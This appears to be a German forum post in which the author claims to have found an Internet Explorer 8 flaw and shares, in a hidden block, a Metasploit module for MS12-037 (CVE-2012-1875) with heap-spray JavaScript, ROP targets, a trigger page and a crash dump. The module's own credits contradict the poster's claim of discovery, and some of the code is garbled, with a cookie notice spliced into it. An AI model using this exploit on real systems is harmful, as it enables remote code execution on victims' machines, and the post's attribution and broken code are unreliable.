Guten Tag, heute untersuchte ich einige Browser auf Exploit Lücken. Ich schaute mir jeden Browser zwei mal an. Nach 5-10 Minuten sah ich eine Exploit Lücke im Internet Explorer 8, ich dachte mir das ist unmöglich ,aber es war tatsächlich so. Sofort schrieb ich den Support von Internet Explorer an, dennoch warte ich auf eine Antwort und hoffe ,dass die Lücke so schnellst wie möglich entfernt wird. Im Hide befindet sich die Lücke , in einem Editor Format. Wer damit nichts anfangen kann soll es einfach ganz lassen diesen Therad zu lesen. [hide]## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={}) super(update_info(info, 'Name' => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption", 'Description' => %q{ This module exploits a memory corruption flaw in Internet Explorer 8 when handling objects with the same ID property. At the moment this module targets IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited in the wild. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dark Son ', # Vulnerability discovery 'Qihoo 360 Security Center', # Vulnerability discovery 'Yichong Lin', # Vulnerability discovery 'Google Inc.', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'MSB', 'MS12-037'], [ 'CVE', '2012-1875' ], [ 'OSVDB', '82865'], [ 'URL', 'http://labs.alienvault.com/labs/index.php…-cve-2012-1875/'], [ 'URL', '
Inhalte von externen Seiten werden ohne Ihre Zustimmung nicht automatisch geladen und angezeigt.
Durch die Aktivierung der externen Inhalte erklären Sie sich damit einverstanden, dass personenbezogene Daten an Drittplattformen übermittelt werden. Mehr Informationen dazu haben wir in unserer Datenschutzerklärung zur Verfügung gestellt.
' ] # Exploit found in the wild ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3 with msvcrt ROP', { 'Rop' => :msvcrt, 'RopOffset' => '0x5f4', 'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll } ], [ 'IE 8 on Windows XP SP3 with JRE ROP', { 'Rop' => :jre, 'RopOffset' => '0x5f4', 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ], [ 'IE 8 on Windows 7 SP1 with JRE ROP', { 'Rop' => :jre, 'RopOffset' => '0x5f4', 'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll } ], ], 'Privileged' => false, 'DisclosureDate' => "Jun 12 2012", 'DefaultTarget' => 0))
# Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end
js_spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var rop_chain = unescape("#{js_rop}"); var random = unescape("#{js_padding}"); var nops = unescape("#{js_nops}");
while (random.length < 0x80000) random += random; while (nops.length < 0x80000) nops += nops;
var padding = random.substring(0, #{my_target['RopOffset']}-code.length); var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length);
while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc(); for (var z=1; z < 0x385; z++) { heap_obj.alloc(block); } JS
html = %Q| <HTML> <BODY> <title>Download</title> <DIV id=testfaild> <img id="#{danger_id}" style="display:none"> <a href="javascript:#{feng_shui_f}();" id="#{a_id}" onClick="#{feng_shui_f}();"> <div style="background-color:#FFFFFF; width:30; height:40" id="#{danger_id}" src="" onMouseOver="#{crash_f}();" onMouseOut="#{crash_f}();"> </div> </a> </DIV> <SCRIPT LANGUAGE="JavaScript"> function #{unescape_f}(dword) { var t = unescape; var d = Number(dword).toString(16); while (d.length < d = '0' + d; return t('%u' + d.substr(4, + '%u' + d.substr(0, 4)); } function #{feng_shui_f}() { var tag = 0x1c1c1c0c; var vtable1 = #{unescape_f}(tag) + '1234567555555555588888888'; var divs = new Array(); for (var i = 0; i < 128; i++) divs.push(document.createElement('div')); testfaild.innerHTML = testfaild.innerHTML; divs[0].className = vtable1; divs[1].className = vtable1; divs[2].className = vtable1; divs[3].className = vtable1; } function #{crash_f}() { eval("#{danger_id}").src = ""; } function #{trigger_f}() { var x = document.getElementsByTagName("div"); var fireOnThis = document.getElementById("#{a_id}"); if (document.createEvent) { evObj = document.createEvent('MouseEvents'); evObj.iniEvent('click', true, false); fireOnThis.dispatchEvent(evObj); } else if (document.createEventObject) { x[1].fireEvent('onMouseOver'); fireOnThis.fireEvent('onclick'); x[1].fireEvent('onMouseOut'); } } function #{main_f}() {
#{js_spray} setTimeout("#{trigger_f}();", 1000);
} #{main_f}(); </SCRIPT> </BODY> </HTML> |
html = html.gsub(/^\t\t\t/, '')
print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end
end
=begin * crash (a9c.998): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\mshtml.dll - eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0 eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!DllGetClassObject+0xafd09: 6363fcc6 8b5070 mov edx,dword ptr [eax+70h] ds:0023:1c1c1c7c=???????? =end[/hide]
Ich bitte euch, solang die Lücke besteht den Internet Explorer 8 nicht mehr zu benutzen. Mit freundlichen Grüßen, Meva